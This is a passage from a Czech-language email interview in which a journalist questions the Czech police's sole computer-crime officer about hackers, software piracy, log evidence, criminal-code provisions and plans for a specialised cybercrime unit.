Neda se rici co je dulezitejsi. Vsechna tato cinnost je nelegalni a trestna. Maximalne se da hovorit o spolecenske nebezpecnosti. Ta je u SW piratu spise dana zpusobenou skodou a u hackeru nebezpecim poskozeni dat.
>Spolupracujete s nejakými odborníky pres pocitace nebo pres hacking?
Ano a aktivne. Nicme zatim je to spise narazova zalezitost. Do budoucna je nutno vytvorit pevny system spoluprace a i v CR bude nutno vytvorit obdobu skupiny CERT jako v USA.
>V nekterých státech policie najala hackery, aby odhalovali své bývalé kolegy. Je neco takového mozné i u nás?
Mozne to je a i pravdepodobne.
>Na Internetu (tusím server hysterie.sk, nejsem si tim jistá) je reportáz jakéhosi setkání hackeru v Praze, kde prý zasahovala policie a hledala "pachatele loupezneho prepadeni". Hackeri z tohoto serveru tvrdí, ze je policie v souvislosti s hackingem vyhledala a ze asi sedm jich bylo v té souvislosti predvoláno. Je to pravda, nebo si to hackeri vymysleli?
Jestli na setkani hackeru z nejakeho duvodu zasahovala Policie tak asi meli proc. Nekolik osob podezrelych z trestne cinnosti bylo skutecne predvolano, ale to melo souvislost s jejich cinnosti a ne ze srazem kdesi v CR.
>Dopadla tedy uz Policie CR nejaké hackery?
Dosud ne.
>Ceho se vlastne dopoustejí? Písí, ze kdyz zmení nejakou stránku, nechají na pocítaci zálohu puvodní stránky, takze vlastne nic neposkozují...
Dopousteji se poruseni ustanoveni § 257a trestniho zakona. Doporucuji odcitovat. Kazdemu bude po precteni jasne coho a jak se dopousteji.
>Je mozné hacknutí serveru nejak dokázat?
Ano, ale rozsah zjisteni je ruzny pripad od pripadu. Mnohdy se da zjistit z jako serveru bylo na cilovy server zautoceno coz samozrejme obvykle nebyva ten, u ktereho hackere sedi.
>Odborník na internetové servery tvrdí, ze o útocích svedcí pouze záznamy v pocitaci (logy), které si prý muze napsat kazdý a upravit pak datum. Mohou být tyto záznamy pouzity jako dukaz?
Ano, logy obvykle souviseji s dalsimi udaji na serveru a hlavne i s logy na serveru, ktery byl k utoku zneuzit. Dukaz je pouzitelny pokud je objektivni a tzv. "sedi".
>Dopadla Policie nejaké "telefandy" - phreakery?
Ne
>Napsal jste, ze jste stále jediným pocítacovým policistou v CR. V tisku jsem narazila na vás názor, ze není potreba specializovaná jednotka pro boj s pocítacovými piráty. Budou tedy proti nim skoleni radoví policisté?
Stale (a uz ne snad dlouho jsem jediny). Je zakladano specializovane pracoviste pro informacni kriminalitu, vzpominam si na sve tvrzeni z doby pred 2 lety. Jen hlupak nemeni nazor.
>Nejsou problémy napríklad hackeru nebo rozdílu mezi volne siritelným software (freeware, Public Domain, shereware) a komercnim software prilis odborné?
Problemy hackeru jsou pravda ponekud odborneho charakteru, ale zalezitosti kolem jakehokoliv druhu softwaru jsou pomerne jednoduche. Staci aby si kazdy kdo to chce/potrebuje vedet vyhledal potrebne informace.
>Procházíte také hackerské stránky na Internetu a hledáte tam informace o hackerech?
Ano
> Pokud ano, kolik easu vám to zabere?
Minimum, nejsem chobotnice a pokud jsem na vsechno sam nemuzu delat vse a byt vsude.
>Spolupracují s vámi i správci ci majitelé postizených serveru?
Ano a radi. Museji ovsem prekonat svou jesitnost a priznat, ze byli cilem utoku. To se jim mnohdy nechce.
>Na Internetu se vyskytují stránky, které vás zesmesnují, písí je nejspís sami hackeri. Útocí na vás i jinak? Jsou natolik nepolapitelní, ze se vám mohou smát?
Kazdy policista musi rozlisovat mezi provfesionalitou a vecmi tykajici se primo jeho osoby. Jako profesional nemuzu besnit pokud si ze me nekdo dela legraci. Uprimne receno mi to ani osobne nevadi. Ucho kazdeho dzbanu se casem utrhne.
>Hackeri napadli i stránky samotné Policie, pomohlo vám to nejak pri jejich sledování, nebo po sobe zamazali stopy?
Nenapadli stranky Policie CR, ale pouze casopisu zapadoceske policie, ktery vychazi dilem externi spolecnosti, ktera na svem webu wede i jeho virtualni podobu.
>Dikuji Vam za Vase odpovedi i za Vás cas
s pozdravem a pránim pekného zbytku dne

Olga Machovcová


Neo celkem neni zac.

Jiri DASTYCH
Policejni prezidium
Reditelstvi sluzby kriminalni policie

Strojnicka 27
Praha 7
170 89

navrat na obsah
co ty na to ? board



INDEX